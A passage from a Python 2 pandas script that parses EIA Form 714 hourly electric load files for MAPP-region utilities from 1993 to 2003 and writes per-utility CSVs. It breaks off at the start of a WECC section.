pd.read_fwf('%s/mapp/1994/IIGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/IIGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 11018 : { 1993 : pd.read_fwf('%s/mapp/1993/LES93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/LES94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_csv('%s/mapp/1995/LES95' % (fulldir)).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/LES96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/LES97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/LES98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/LES99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_excel('%s/mapp/2000/LES00' % (fulldir), skipfooter=3).iloc[:, 1:].values.ravel(), 2001 : pd.read_excel('%s/mapp/2001/LES01' % (fulldir), skipfooter=3).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/LES02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/LES03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 12647 : { 1995 : pd.read_fwf('%s/mapp/1995/MPL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_fwf('%s/mapp/2000/MPL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2001 : pd.read_fwf('%s/mapp/2001/MPL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 12658 : { 1993 : pd.read_fwf('%s/mapp/1993/MPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/MPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MPC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MPC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MPC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MPC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MPC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MPC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 12819 : { 1993 : pd.read_fwf('%s/mapp/1993/MDU93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/MDU94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MDU95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MDU96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MDU97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MDU98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MDU99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MDU02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MDU03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 21352 : { 1993 : pd.read_fwf('%s/mapp/1993/MEAN93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MEAN95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MEAN96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MEAN97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MEAN98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MEAN99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MEAN02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MEAN03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13143 : { 1993 : pd.read_fwf('%s/mapp/1993/MPW93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/MPW94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MPW95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MPW96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MPW97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MPW98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MPW99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MPW02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MPW03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13337 : { 1993 : pd.read_fwf('%s/mapp/1993/NPPD93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/NPPD94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/NPPD95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=6).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/NPPD96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/NPPD97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/NPPD98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/NPPD99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_fwf('%s/mapp/2000/NPPD00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=9, skipfooter=1).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2001 : pd.read_fwf('%s/mapp/2001/NPPD01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=9, skipfooter=1).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_csv('%s/mapp/2002/NPPD02' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/NPPD03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13781 : { 1993 : pd.read_fwf('%s/mapp/1993/NSP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/NSP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/NSP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/NSP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/NSP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/NSP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_csv('%s/mapp/2000/NSP00' % (fulldir), sep='\t', skipinitialspace=True, skiprows=2, header=None, skipfooter=1)[2].values }, 13809 : { 1993 : pd.read_fwf('%s/mapp/1993/NWPS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/NWPS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/NWPS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/NWPS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/NWPS98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/NWPS99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/NWPS02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/NWPS03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 14127 : { 1993 : pd.read_fwf('%s/mapp/1993/OPPD93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/OPPD94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_csv('%s/mapp/1995/OPPD95' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 7:].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/OPPD96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/OPPD97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/OPPD98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/OPPD99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/OPPD02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/OPPD03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 14232 : { 1993 : pd.read_fwf('%s/mapp/1993/OTP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/OTP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_csv('%s/mapp/1995/OTP95' % (fulldir), header=None).iloc[:, -2].values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/OTP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/OTP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/OTP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/OTP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_fwf('%s/mapp/2000/OTP00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/OTP02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/OTP03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 40580 : { 1993 : pd.read_fwf('%s/mapp/1993/SMMP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/SMP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/SMMP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/SMMP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/SMMP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/SMMPA99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_csv('%s/mapp/2000/SMMP00' % (fulldir)).iloc[:-1, 3].values, 2001 : pd.read_csv('%s/mapp/2001/SMMP01' % (fulldir), header=None).iloc[:, 2].values, 2002 : pd.read_fwf('%s/mapp/2002/SMMPA02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/SMMPA03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 19514 : { 1993 : pd.read_fwf('%s/mapp/1993/UPA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/UPA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/UPA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/UPA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/UPA98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 20858 : { 1993 : pd.read_fwf('%s/mapp/1993/WPPI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/WPPI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/WPPI96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_csv('%s/mapp/1997/WPPI97' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 2:-1].values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/WPPI98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/WPPI99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/WPPI02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/WPPI03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 12341 : { 1995 : pd.read_fwf('%s/mapp/1995/MEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/MEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1997 : pd.read_fwf('%s/mapp/1997/MEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 1998 : pd.read_fwf('%s/mapp/1998/MEC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1999 : pd.read_fwf('%s/mapp/1999/MEC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2000 : pd.read_fwf('%s/mapp/2000/MEC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_fwf('%s/mapp/2002/MEC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(), 2003 : pd.read_fwf('%s/mapp/2003/MEC_ALL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel() }, 4322 : { 1993 : pd.read_fwf('%s/mapp/1993/CP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/CP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1996 : pd.read_fwf('%s/mapp/1996/CP96' % (fulldir), header=None).iloc[:, 2:].values.ravel() }, 23333 : { 1993 : pd.read_fwf('%s/mapp/1993/MPSI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/mapp/1994/MPSI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_fwf('%s/mapp/1995/MPSI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() } } mapp[20858][1997] = np.repeat(np.nan, len(mapp[20858][1997])) mapp[21352][1995][mapp[21352][1995] < 0] = 0 mapp[40580][2000] = np.repeat(np.nan, len(mapp[40580][2000])) if not os.path.exists('./mapp'): os.mkdir('mapp') for k in mapp.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(mapp[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(mapp[k][i]))) for i in mapp[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./mapp/%s.csv' % k) ################################# # WECC ################################# import numpy as np import pandas as pd import os import re import datetime import time import pysal as ps homedir = os.path.expanduser('~') #basepath = '/home/akagi/Documents/EIA_form_data/wecc_form_714' basepath = '%s/github/RIPS_kircheis/data/eia_form_714/active' % (homedir) path_d = { 1993: '93WSCC1/WSCC', 1994: 